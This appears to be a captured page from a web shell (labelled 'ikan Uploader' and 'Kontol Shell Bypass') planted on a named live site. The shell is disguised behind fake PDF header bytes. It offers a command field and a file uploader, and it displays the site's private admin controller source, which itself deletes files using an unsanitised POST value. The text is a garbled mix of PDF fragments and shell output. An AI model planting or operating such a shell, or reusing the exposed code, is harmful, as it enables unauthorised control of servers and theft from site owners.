%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/www.shardaevents.com/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/www.shardaevents.com/application/controllers/admin/Managefiles.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Managefiles extends CI_Controller {

function __construct(){
	parent::__construct();
	$this->load->model('Common_Model');
	if(! $this->session->userdata('adid')) {
		redirect('admin/login');
	}
}

	/* 
	* Function : index
	* Desc : listing all records
	*/

	public function index()
	{
		$data = array();
		$header = array();
		$cond = array('is_deleted'=>'0');
		if(!in_array($this->session->userdata('adid')->role_id, array(
			'1','2'))){
			$cond['user_id'] = $this->session->userdata('adid')->id;
		}
		$data['recordsArray'] = $recordsArray = $this->Common_Model->getCommonQuery('tbl_managefiles', '*',$cond);
		
		$this->load->view('admin/_parts/header',$data);
		$this->load->view('admin/managefiles/index',$data);
		$this->load->view('admin/_parts/footer');
		
		setHistory('Go to manage banner listing module');
	}

	/* 
	* Function : addrecord
	* Desc : For particular Record
	*/

	public function addrecord($id='') 
	{
		$data = array();
		
		if($_POST){
			$this->form_validation->set_rules('file_title','File Name','required');
			$this->form_validation->set_rules('status','Status','required');
			if($this->form_validation->run())
			{
				$file_title = $this->input->post('file_title');
				$status = $this->input->post('status');
				$file_url = $this->input->post('file_url');
				$old_file_image = $this->input->post('old_file_image');
				
				$file_image = $this->uploadbanner($file_name='file_image', $old_file_image);
				if($old_file_image<>'' && $file_image=='') { 
					$file_image = $old_file_image;
				}
				
				$data=array(
					'file_title'=>$file_title,
					'file_url'=>$file_url,
					'file_image'=>$file_image,
					'status'=>$status,
					'user_id'=>$this->session->userdata('adid')->id,
					'is_deleted'=>'0'
				);
				
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$data['modifiedon'] = date('y-m-d H:i:s');
					$this->Common_Model->updateinfo($tbl_name='tbl_managefiles',$data,'id',$id);
					setHistory('Custom file Info Updated successfully');
				} else {
					$data['createdon'] = date('y-m-d H:i:s');
					//print_r($data); die;
					$this->Common_Model->saveinfo($tbl_name='tbl_managefiles',$data);
					setHistory('Custom File Info Added successfully');
				}
				
				redirect('admin/managefiles');
				
			} else {
				$this->load->view('admin/_parts/header',$data);
				$this->load->view('admin/managefiles/addrecord',$data);
				$this->load->view('admin/_parts/footer');
				setHistory('Error! Add/Edit Custom File Info');
			}	
		} else {
			$cond = array('is_deleted'=>'0','id'=>$id);
			if(!in_array($this->session->userdata('adid')->role_id, array(
			'1','2'))) {
				$cond['user_id'] = $this->session->userdata('adid')->id;
			}
			$data['sd']=$this->Common_Model->getSingleRecord('tbl_managefiles',' * ', $cond);
			$this->load->view('admin/_parts/header',$data);
			$this->load->view('admin/managefiles/addrecord',$data);
			$this->load->view('admin/_parts/footer');
			setHistory('Go to Add/Edit Custom File Info');
		}
	}
	
	private function uploadbanner($file_name, $old_file='')
	{
			$config['upload_path'] = './attachments/custom_files/';
			$config['allowed_types'] = 'gif|jpg|png|jpeg|JPG|PNG|JPEG|PDF|pdf|SVG|svg|mov|mp4|3gp|mp3|flv|';
			$config['remove_spaces'] = TRUE;
			$config['overwrite'] = TRUE;
			$this->load->library('upload', $config);
			$this->upload->initialize($config);
			if (!$this->upload->do_upload($file_name)) {
				log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
				print_r($this->upload->display_errors()); die;
			} else {
			if($old_file!=''){
			$path = './attachments/custom_files/'.$old_file;
			unlink($path);
			}
			}
			$doc = $this->upload->data();
			return $doc['file_name'];
		}
	

	/* 
	* Function : deleterecords
	* Desc : For records deletion
	*/

	public function deleterecords($uid)
	{
		$this->Common_Model->deleterecords('tbl_managefiles',$uid);
		$this->session->set_flashdata('success', 'Data deleted');
		setHistory('Course record deleted successfully');
		redirect('admin/managefiles');
	}
}

Kontol Shell Bypass